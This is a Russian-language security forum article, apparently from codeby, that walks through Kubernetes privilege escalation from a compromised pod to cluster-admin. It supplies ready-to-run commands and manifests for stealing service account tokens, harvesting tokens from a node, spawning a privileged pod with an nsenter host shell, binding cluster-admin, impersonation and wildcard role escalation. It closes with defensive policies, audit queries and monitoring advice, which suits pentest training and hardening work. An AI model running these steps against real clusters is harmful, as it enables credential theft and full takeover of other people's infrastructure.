• Твой профиль заполнен на 0%. Заполни за 1 минуту, чтобы тебя нашли единомышленники и работодатели. Заполнить →

Статья Kubernetes Privilege Escalation: от скомпрометированного пода до cluster-admin через RBAC

Сергей Попов

Администратор
30.12.2015
4 910
6 608
Специализация
  1. OSINT
  2. Веб-безопасность
Статус верификации
  1. ✓ Verified
Исследователь безопасности за тёмной рабочей станцией с двумя мониторами: на одном — зелёный терминал kubectl, на другом — граф RBAC с восходящими стрелками. Бирюзовый свет экранов падает на худи и...


Когда вы попадаете внутрь контейнера - неважно, через RCE в приложении, SSRF или скомпрометированный CI/CD - первый вопрос всегда один: «Какие у меня права?» В большинстве кластеров, которые я тестировал за последние пару лет, ответ был один и тот же: «Больше, чем нужно». Сильно больше. По данным Unit 42 (Palo Alto Networks), операции с кражей Kubernetes-токенов выросли на 282% за последний год, а подозрительная активность вокруг service account токенов зафиксирована в 22% облачных сред в 2025 году. Дальше - пошаговый разбор того, как эскалация привилегий Kubernetes работает на практике: от первичной разведки RBAC до получения cluster-admin.
Статья составлена участником команды codeby и написана от первого лица

Что делает RBAC уязвимости Kubernetes настолько опасными​

Русскоязычные ресурсы чаще всего разбирают allowPrivilegeEscalation - флаг в securityContext, который контролирует системный вызов no_new_privs и к RBAC не имеет никакого отношения. Реальная эскалация привилегий в Kubernetes происходит не через setuid-бинарники внутри контейнера, а через манипуляции с API-сервером: создание подов, чтение секретов, привязку ролей.

По классификации MITRE ATT&CK ключевые техники - Account Manipulation (T1098), Valid Accounts: Cloud Accounts (T1078.004), и Kubernetes-специфичные: Unsecured Credentials: Container API (T1552.007 - кража SA-токенов), Deploy Container (T1610 - создание подов), Escape to Host (T1611 - выход из контейнера через привилегированный под), Steal Application Access Token (T1528 - кража SA-токена, тактика credential-access) и Application Access Token (T1550.001 - повторное использование украденного SA-токена для lateral movement). Атакующий не ломает криптографию и не эксплуатирует бинарные уязвимости - он использует легитимные механизмы Kubernetes с избыточными правами. Зачем ломать дверь, если ключ лежит под ковриком?

Согласно исследованию Schutzwerk, существует 7 основных векторов повышения привилегий через RBAC, и все они сводятся к пяти группам разрешений: create pods, get secrets, bind, escalate и impersonate. Разберём каждый на практике.

Разведка: перечисление RBAC-разрешений из скомпрометированного пода​

Прежде чем атаковать - нужно понять, что вам доступно. Первым делом после попадания в под проверяем, смонтирован ли ServiceAccount-токен.

Извлечение токена ServiceAccount​

По умолчанию Kubernetes монтирует токен сервисного аккаунта в каждый под. В Kubernetes 1.20+ это projected token (BoundServiceAccountTokenVolume) с ограниченным сроком жизни (~1 час, автоматически обновляется kubelet). Токен привязан к конкретному поду - после удаления пода токен инвалидируется. Окно эксплуатации сужается по сравнению с legacy long-lived токенами (до 1.24), но час - это целая вечность, если знаешь, что делать. Путь зависит от версии:
Bash:
# Projected token (Kubernetes 1.20+)
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Проверяем CA-сертификат и namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
Получив токен, настраиваем взаимодействие с API-сервером. Если kubectl недоступен - работаем через curl:
Bash:
# Определяем адрес API-сервера (доступен через env-переменные)
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT

# Проверяем токен через curl
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

curl -s -k -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces

Перечисление разрешений через kubectl auth can-i​

Если kubectl доступен (или вы принесли статически скомпилированный бинарник - всегда таскаю с собой), начинаем с глобальной проверки:
Bash:
# Полный список разрешений текущего SA
kubectl auth can-i --list

# Проверка на cluster-wide
kubectl auth can-i --list --all-namespaces

# Целевые проверки критичных разрешений
kubectl auth can-i create pods
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i impersonate users
kubectl auth can-i 'bind' clusterroles
kubectl auth can-i 'escalate' clusterroles
Типичный вывод kubectl auth can-i --list для overprivileged SA (встречал такое не раз):
Код:
Resources                          Non-Resource URLs   Resource Names   Verbs
pods                               []                  []               [create get list delete]
pods/exec                          []                  []               [create]
secrets                            []                  []               [get list]
serviceaccounts                    []                  []               [get list]
configmaps                         []                  []               [get list watch]
Тут уже видно минимум два вектора: create pods + get secrets. Этого хватит для полной компрометации namespace.

Автоматизация разведки​

Для ускорения - инструменты, заточенные под Kubernetes пентест:
Bash:
# Peirates - автоматический аудит и эксплуатация SA токенов
# (упоминается в исследовании Unit 42 как инструмент,
# техники которого наблюдались в реальных атаках)
./peirates

# rakkess - визуализация разрешений матрицей
kubectl krew install access-matrix
kubectl access-matrix

# rbac-tool - анализ ролей и привязок
kubectl krew install rbac-tool
kubectl rbac-tool lookup
kubectl rbac-tool who-can create pods
kube-hunter полезен для внешней разведки кластера, а Trivy - для поиска misconfigurations в манифестах до деплоя. Но честно - на живом пентесте Peirates экономит больше всего времени.

ServiceAccount Token Abuse: от токена к lateral movement

ServiceAccount token abuse в Kubernetes - основа большинства цепочек атак. Согласно исследованию Unit 42, в реальном инциденте на криптобирже (связанном с группировкой Slow Pisces / Lazarus) атакующие после получения доступа к рабочей станции разработчика развернули вредоносный под в production-кластере, который был спроектирован для экспозиции смонтированного SA-токена. Итог - компрометация облачной инфраструктуры и кража криптовалюты.

Кража токенов через под с монтированием SA​

Если у вас есть право create pods - вы можете создать под с привязкой к любому ServiceAccount в текущем namespace:
YAML:
# pod-steal-token.yaml
# Под создаётся в текущем namespace (где есть права create pods).
# Для создания в kube-system нужны права в этом namespace.
# Сначала найдите целевой SA: kubectl get serviceaccounts
apiVersion: v1
kind: Pod
metadata:
  name: token-hunter
  # namespace не указан - используется текущий контекст
spec:
  serviceAccountName: target-privileged-sa  # имя SA, обнаруженное на этапе разведки
  automountServiceAccountToken: true
  containers:
  - name: hunter
    image: alpine:3.20
    command: ["sh", "-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/stolen-token && sleep infinity"]
Bash:
kubectl apply -f pod-steal-token.yaml
kubectl exec -it token-hunter -- cat /tmp/stolen-token
Полученный токен подставляем для аутентификации от имени целевого SA:
Bash:
# Подставляем украденный токен
kubectl --token="<stolen-token>" auth can-i --list
kubectl --token="<stolen-token>" get nodes

Кража токенов с ноды через container escape​

Если под запущен с привилегиями (privileged: true) или с монтированием hostPath, атакующий получает доступ к файловой системе ноды. Оттуда можно утянуть токены всех подов, работающих на этой ноде:
Bash:
# Из привилегированного контейнера - поиск всех SA-токенов на ноде
find /host/var/lib/kubelet/pods/ -name token -type f 2>/dev/null

# Чтение токена конкретного пода
cat /host/var/lib/kubelet/pods/<pod-uid>/volumes/kubernetes.io~projected/kube-api-access-*/token
Это даёт доступ ко всем ServiceAccount текущей ноды - включая системные (kube-proxy, calico-node и другие DaemonSet-компоненты), которые часто имеют cluster-wide разрешения. По сути, одна привилегированная нода - и вы собираете токены как грибы после дождя.

Kubernetes RBAC Misconfiguration: пять векторов эскалации привилегий​

Вектор 1: создание подов (create pods)​

Самый распространённый и при этом самый недооценённый вектор. Как указывает Schutzwerk, RBAC контролирует те, кто может создавать поды, но не контролирует что в этих подах. Без admission controller (OPA Gatekeeper, Kyverno, Pod Security Admission) право на создание подов равносильно root-доступу на ноде. Звучит дико, но это так.

Что даёт create pods:
  • Монтирование токена любого SA в namespace (показано выше)
  • Создание привилегированного контейнера с доступом к хосту
  • Монтирование hostPath для чтения файлов ноды
  • Запуск контейнера с hostPID/hostNetwork для доступа к процессам и сети хоста
YAML:
# Привилегированный под с полным доступом к хосту
apiVersion: v1
kind: Pod
metadata:
  name: node-pwn
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine:3.20
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
    command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "/bin/sh"]
  volumes:
  - name: host-root
    hostPath:
      path: /
Команда nsenter с PID 1 переключает нас в namespace init-процесса хоста - фактически это полный shell на ноде. Pod Security Admission (PSA) в режимах baseline/restricted заблокирует такой манифест. PSA включён по умолчанию с Kubernetes 1.25+, но enforcement зависит от labels на namespace. Без явного label pod-security.kubernetes.io/enforce: baseline или restricted - PSA не блокирует привилегированные поды. Многие production-кластеры, особенно мигрированные с ранних версий, не имеют этих labels. На managed Kubernetes (GKE Autopilot, EKS Fargate) привилегированные поды запрещены на уровне платформы.

Вектор 2: чтение секретов (get/list secrets)​

В Kubernetes токены ServiceAccount хранятся как объекты Secret. Право get secrets в namespace позволяет прочитать токены всех SA:
Bash:
# Перечисляем все секреты в namespace
kubectl get secrets -n target-namespace

# Путь 1: чтение legacy Secret-based токенов (Kubernetes < 1.24)
# Требует RBAC-разрешение: get secrets
kubectl get secret <sa-token-secret> -n target-namespace -o jsonpath='{.data.token}' | base64 -d

# Путь 2: TokenRequest API (Kubernetes 1.24+)
# Требует ДРУГОЕ RBAC-разрешение: create serviceaccounts/token (не get secrets!)
kubectl create token <service-account-name> -n target-namespace
Согласно исследованию Schutzwerk, даже если у вас есть только get (без list), можно подобрать имя секрета. В старых версиях Kubernetes (до 1.24) секреты SA создавались по паттерну <service-account-name>-token-<5-символов>. Теоретически ~14.3 миллиона комбинаций (27-символьный набор), но на практике brute-force ограничен rate limiting API-сервера и будет обнаружен через audit logging. Более реалистичный подход - получить имя секрета через другие утечки (логи, kubectl describe pod, если есть get pods).

В Kubernetes 1.24+ автоматическое создание Secret для SA отключено - используются projected-токены. Но многие кластеры до сих пор содержат legacy-секреты или создают long-lived токены вручную. На одном аудите я нашёл SA-токен трёхлетней давности с cluster-admin правами - его забыли и не ротировали.

Вектор 3: verb impersonate - действие от имени другого пользователя​

Механизм impersonation позволяет отправлять запросы к API от имени другого пользователя, группы или SA. Если у вас есть verb impersonate на ресурсах users, groups или serviceaccounts - вы можете стать кем угодно:
Bash:
# Проверяем наличие права
kubectl auth can-i impersonate users
kubectl auth can-i impersonate serviceaccounts

# Действуем от имени cluster-admin
kubectl --as=system:serviceaccount:kube-system:cluster-admin-sa get secrets -A

# Через curl с заголовком Impersonate-User
curl -s -k -H "Authorization: Bearer ${TOKEN}" \
  -H "Impersonate-User: system:serviceaccount:kube-system:cluster-admin-sa" \
  ${APISERVER}/api/v1/secrets
Impersonation - самый «тихий» вектор: вы не создаёте новых объектов, не модифицируете RBAC. Единственный след - audit log с заголовком impersonation. Если мониторинг не настроен на эти события (а он обычно и не настроен) - вас просто не заметят.

Вектор 4: verb bind - привязка существующих ролей​

Kubernetes запрещает привязку ролей с бо́льшими привилегиями, чем у текущего субъекта - но только если у субъекта нет verb bind на целевой роли. Этот verb часто оставляют по недосмотру:
Bash:
# Проверяем
kubectl auth can-i bind clusterroles

# Привязываем cluster-admin к своему SA
kubectl create clusterrolebinding pwn-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=default:compromised-sa
Три уровня эскалации через bind:
  1. RoleBinding + bind Roles - доступ к ролям в текущем namespace
  2. RoleBinding + bind ClusterRoles - привязка кластерной роли к namespace (мощнее)
  3. ClusterRoleBinding + bind ClusterRoles - cluster-wide доступ (полная компрометация)

Вектор 5: verb escalate - модификация существующих ролей​

Verb escalate позволяет модифицировать роль, добавляя в неё привилегии, которых нет у вас самих. Это обход стандартной защиты Kubernetes от privilege escalation через RBAC:
Bash:
# Проверяем
kubectl auth can-i escalate clusterroles

# Модифицируем роль - добавляем wildcard-доступ
kubectl edit clusterrole target-role
YAML:
# Добавляем в rules
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
Verbs bind и escalate - наименее известные, но наиболее разрушительные. Многие администраторы даже не подозревают об их существовании и не включают в аудит. На каждом втором пентесте, где я находил эти verbs, админы реагировали одинаково: «Серьёзно? Это вообще существует?»

Полная цепочка атаки: от пода до cluster-admin​

Ниже - воспроизводимый сценарий, который
📚 Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Реальные угрозы: как это выглядит в дикой природе​

Цепочки выше - не теория из учебника. По данным Unit 42, в реальном инциденте на криптобирже в 2025 году группировка Slow Pisces (Lazarus / TraderTraitor) использовала именно такой паттерн: после компрометации рабочей станции разработчика через spearphishing атакующие развернули вредоносный под в production-кластере для экспозиции SA-токена, а затем использовали этот токен для lateral movement в облачную инфраструктуру.

Отдельно стоит упомянуть IngressNightmare (CVE-2025-1974, CVSS 9.8, вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-653). Уязвимость позволяла неаутентифицированному атакующему с доступом к pod-сети выполнить произвольный код в контексте ingress-nginx контроллера. Поскольку в стандартной установке контроллер имеет доступ ко всем Secret кластера - можно стянуть SA-токены с высокими привилегиями, что в большинстве конфигураций ведёт к cluster-admin (формально уязвимость даёт credential access - раскрытие секретов, а не прямую эскалацию привилегий, но результат тот же). По данным Wiz Research, около 43% облачных сред используют ingress-nginx контроллер. Сорок три процента. Пусть эта цифра немного постоит.

Kubernetes пентест: чеклист для аудита RBAC

При проведении пентеста Kubernetes кластера - вот порядок проверок:

ПроверкаКомандаКритичность
SA-токен смонтированls /var/run/secrets/kubernetes.io/serviceaccount/Высокая
Права текущего SAkubectl auth can-i --listВысокая
create podskubectl auth can-i create podsКритическая
get/list secretskubectl auth can-i get secretsКритическая
create rolebindingskubectl auth can-i create rolebindingsКритическая
create clusterrolebindingskubectl auth can-i create clusterrolebindingsКритическая
bind clusterroleskubectl auth can-i bind clusterrolesКритическая
escalate clusterroleskubectl auth can-i escalate clusterrolesКритическая
impersonate users/SAkubectl auth can-i impersonate usersКритическая
pods/execkubectl auth can-i create pods/execВысокая
Wildcard-разрешенияkubectl get clusterroles -o json + фильтр *Критическая

Защита: как закрыть описанные векторы​

Знание атак без понимания защиты - половина картины. Вот что реально работает.

Минимизация прав ServiceAccount​

YAML:
# Отключение автоматического монтирования токена
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-sa
automountServiceAccountToken: false
Используйте projected short-lived токены (Kubernetes 1.20+) вместо long-lived Secret-based токенов. По данным Unit 42, именно short-lived projected токены значительно сокращают окно эксплуатации. Час - это мало, но бесконечность (long-lived) - это совсем другая история.

Admission Controllers для блокировки привилегированных подов​

Без admission controller права create pods - это root на ноде. Внедрите Pod Security Admission (замена устаревших PodSecurityPolicies) или OPA Gatekeeper / Kyverno:
YAML:
# Пример Kyverno-политики: запрет привилегированных контейнеров
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: deny-privileged
spec:
  validationFailureAction: Enforce
  rules:
  - name: deny-privileged-containers
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "Privileged containers are not allowed"
      pattern:
        spec:
          containers:
          - securityContext:
              privileged: "false"

Аудит опасных verbs​

Регулярно проверяйте кластер на наличие ролей с verbs bind, escalate, impersonate и wildcard-разрешениями:
Bash:
# Поиск ролей с опасными verbs
kubectl get clusterroles -o json | \
  jq '.items[] | select(.rules[]? | .verbs[]? | test("bind|escalate|impersonate|\\*")) | .metadata.name'

# Поиск ClusterRoleBindings к cluster-admin
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name == "cluster-admin") | {name: .metadata.name, subjects: .subjects}'

Мониторинг и алертинг​

Включите Kubernetes Audit Logging и настройте алерты на:
  • Создание ClusterRoleBinding / RoleBinding
  • Запросы с заголовками impersonation
  • Создание подов в kube-system
  • Чтение секретов из непривычных SA
  • Exec в запущенные поды
Если в вашем кластере нет алертов хотя бы на первые два пункта - считайте, что вы летите вслепую.

Итоги​

Kubernetes privilege escalation через RBAC misconfiguration - не экзотика, а повседневность. Каждый из пяти описанных векторов (create pods, get secrets, impersonate, bind, escalate) встречается в production-кластерах. Цепочка «украл токен → проверил права → создал под с привилегированным SA → получил cluster-admin» занимает минуты, а не часы.

Для защитников: RBAC без admission controllers - иллюзия безопасности. Право create pods без ограничений на содержимое пода - это root на ноде. Право get secrets в namespace - это доступ ко всем SA в этом namespace. А verbs bind и escalate - прямой путь в обход всех проверок Kubernetes.

Для пентестеров: начинайте с kubectl auth can-i --list, ищите пять ключевых разрешений, стройте цепочку. Peirates, rbac-tool и rakkess ускоряют разведку, но понимание механики RBAC важнее любого инструмента.

Запустите kubectl auth can-i --list на своём кластере прямо сейчас. Если в выводе мелькнул create pods или get secrets у SA, которому это не нужно - у вас та же проблема, что и у 22% облачных сред из отчёта Unit 42.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab